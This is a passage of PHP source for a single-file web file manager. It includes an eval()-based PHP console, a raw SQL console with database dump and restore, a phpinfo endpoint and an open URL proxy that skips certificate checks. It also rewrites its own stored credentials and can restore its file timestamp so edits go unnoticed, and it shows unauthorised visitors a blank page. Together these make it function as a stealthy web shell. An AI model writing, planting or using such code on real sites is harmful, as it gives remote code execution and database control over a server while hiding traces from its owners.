		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title>检查那些</title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8//UegJQCAZkmScQAAXkQkLlTKsz/HCAAARKCBKrBBG/TBGCzABhzBBdzBC/xgNoRCJMTCQhBCCmSAHHJgKayCQiiGzbAdKmAv1EAdNMBRaIaTcA4uwlW4Dj1wD/phCJ7BKLyBCQRByAgTYSHaiAFiilgjjggXmYX4IcFIBBKLJCDJiBRRIkuRNUgxUopUIFVIHfI9cgI5h1xGupE7yAAygvyGvEcxlIGyUT3UDLVDuag3GoRGogvQZHQxmo8WoJvQcrQaPYw2oefQq2gP2o8+Q8cwwOgYBzPEbDAuxsNCsTgsCZNjy7EirAyrxhqwVqwDu4n1Y8+xdwQSgUXACTYEd0IgYR5BSFhMWE7YSKggHCQ0EdoJNwkDhFHCJyKTqEu0JroR+cQYYjIxh1hILCPWEo8TLxB7iEPENyQSiUMyJ7mQAkmxpFTSEtJG0m5SI+ksqZs0SBojk8naZGuyBzmULCAryIXkneTD5DPkG+Qh8lsKnWJAcaT4U+IoUspqShnlEOU05QZlmDJBVaOaUt2ooVQRNY9aQq2htlKvUYeoEzR1mjnNgxZJS6WtopXTGmgXaPdpr+h0uhHdlR5Ol9BX0svpR+iX6AP0dwwNhhWDx4hnKBmbGAcYZxl3GK+YTKYZ04sZx1QwNzHrmOeZD5lvVVgqtip8FZHKCpVKlSaVGyovVKmqpqreqgtV81XLVI+pXlN9rkZVM1PjqQnUlqtVqp1Q61MbU2epO6iHqmeob1Q/pH5Z/YkGWcNMw09DpFGgsV/jvMYgC2MZs3gsIWsNq4Z1gTXEJrHN2Xx2KruY/R27iz2qqaE5QzNKM1ezUvOUZj8H45hx+Jx0TgnnKKeX836K3hTvKeIpG6Y0TLkxZVxrqpaXllirSKtRq0frvTau7aedpr1Fu1n7gQ5Bx0onXCdHZ4/OBZ3nU9lT3acKpxZNPTr1ri6qa6UbobtEd79up+6Ynr5egJ5Mb6feeb3n+hx9L/1U/W36p/VHDFgGswwkBtsMzhg8xTVxbzwdL8fb8VFDXcNAQ6VhlWGX4YSRudE8o9VGjUYPjGnGXOMk423GbcajJgYmISZLTepN7ppSTbmmKaY7TDtMx83MzaLN1pk1mz0x1zLnm+eb15vft2BaeFostqi2uGVJsuRaplnutrxuhVo5WaVYVVpds0atna0l1rutu6cRp7lOk06rntZnw7Dxtsm2qbcZsOXYBtuutm22fWFnYhdnt8Wuw+6TvZN9un2N/T0HDYfZDqsdWh1+c7RyFDpWOt6azpzuP33F9JbpL2dYzxDP2DPjthPLKcRpnVOb00dnF2e5c4PziIuJS4LLLpc+Lpsbxt3IveRKdPVxXeF60vWdm7Obwu2o26/uNu5p7ofcn8w0nymeWTNz0MPIQ+BR5dE/C5+VMGvfrH5PQ0+BZ7XnIy9jL5FXrdewt6V3qvdh7xc+9j5yn+M+4zw33jLeWV/MN8C3yLfLT8Nvnl+F30N/I/9k/3r/0QCngCUBZwOJgUGBWwL7+Hp8Ib+OPzrbZfay2e1BjKC5QRVBj4KtguXBrSFoyOyQrSH355jOkc5pDoVQfujW0Adh5mGLw34MJ4WHhVeGP45wiFga0TGXNXfR3ENz30T6RJZE3ptnMU85ry1KNSo+qi5qPNo3ujS6P8YuZlnM1VidWElsSxw5LiquNm5svt/87fOH4p3iC+N7F5gvyF1weaHOwvSFpxapLhIsOpZATIhOOJTwQRAqqBaMJfITdyWOCnnCHcJnIi/RNtGI2ENcKh5O8kgqTXqS7JG8NXkkxTOlLOW5hCepkLxMDUzdmzqeFpp2IG0yPTq9MYOSkZBxQqohTZO2Z+pn5mZ2y6xlhbL+xW6Lty8elQfJa7OQrAVZLQq2QqboVFoo1yoHsmdlV2a/zYnKOZarnivN7cyzytuQN5zvn//tEsIS4ZK2pYZLVy0dWOa9rGo5sjxxedsK4xUFK4ZWBqw8uIq2Km3VT6vtV5eufr0mek1rgV7ByoLBtQFr6wtVCuWFfevc1+1dT1gvWd+1YfqGnRs+FYmKrhTbF5cVf9go3HjlG4dvyr+Z3JS0qavEuWTPZtJm6ebeLZ5bDpaql+aXDm4N2dq0Dd9WtO319kXbL5fNKNu7g7ZDuaO/PLi8ZafJzs07P1SkVPRU+lQ27tLdtWHX+G7R7ht7vPY07NXbW7z3/T7JvttVAVVN1WbVZftJ+7P3P66Jqun4lvttXa1ObXHtxwPSA/0HIw6217nU1R3SPVRSj9Yr60cOxx++/p3vdy0NNg1VjZzG4iNwRHnk6fcJ3/ceDTradox7rOEH0x92HWcdL2pCmvKaRptTmvtbYlu6T8w+0dbq3nr8R9sfD5w0PFl5SvNUyWna6YLTk2fyz4ydlZ19fi753GDborZ752PO32oPb++6EHTh0kX/i+c7vDvOXPK4dPKy2+UTV7hXmq86X23qdOo8/pPTT8e7nLuarrlca7nuer21e2b36RueN87d9L158Rb/1tWeOT3dvfN6b/fF9/XfFt1+cif9zsu72Xcn7q28T7xf9EDtQdlD3YfVP1v+3Njv3H9qwHeg89HcR/cGhYPP/pH1jw9DBY+Zj8uGDYbrnjg+OTniP3L96fynQ89kzyaeF/6i/suuFxYvfvjV69fO0ZjRoZfyl5O/bXyl/erA6xmv28bCxh6+yXgzMV70VvvtwXfcdx3vo98PT+R8IH8o/2j5sfVT0Kf7kxmTk/8EA5jz/GMzLdsAAAAGYktHRAD/AP8A/6C9p5MAAAAJcEhZcwAACxMAAAsTAQCanBgAAAAHdElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAKT2lDQ1BQaG90b3Nob3AgSUNDIHByb2ZpbGUAAHjanVNnVFPpFj333vRCS4iAlEtvUhUIIFJCi4AUkSYqIQkQSoghodkVUcERRUUEG8igiAOOjoCMFVEsDIoK2AfkIaKOg6OIisr74Xuja9a89+bN/rXXPues852zzwfACAyWSDNRNYAMqUIeEeCDx8TG4eQuQIEKJHAAEAizZCFz/SMBAPh+PDwrIsAHvgABeNMLCADATZvAMByH/w/qQplcAYCEAcB0kThLCIAUAEB6jkKmAEBGAYCdmCZTAKAEAGDLY2LjAFAtAGAnf+bTAICd+Jl7AQBblCEVAaCRACATZYhEAGg7AKzPVopFAFgwABRmS8Q5ANgtADBJV2ZIALC3AMDOEAuyAAgMADBRiIUpAAR7AGDIIyN4AISZABRG8lc88SuuEOcqAAB4mbI8uSQ5RYFbCC1xB1dXLh4ozkkXKxQ2YQJhmkAuwnmZGTKBNA/g88wAAKCRFRHgg/P9eM4Ors7ONo62Dl8t6r8G/yJiYuP+5c+rcEAAAOF0ftH+LC+zGoA7BoBt/qIl7gRoXgugdfeLZrIPQLUAoOnaV/Nw+H48PEWhkLnZ2eXk5NhKxEJbYcpXff5nwl/AV/1s+X48/Pf14L7iJIEyXYFHBPjgwsz0TKUcz5IJhGLc5o9H/LcL//wd0yLESWK5WCoU41EScY5EmozzMqUiiUKSKcUl0v9k4t8s+wM+3zUAsGo+AXuRLahdYwP2SycQWHTA4vcAAPK7b8HUKAgDgGiD4c93/+8/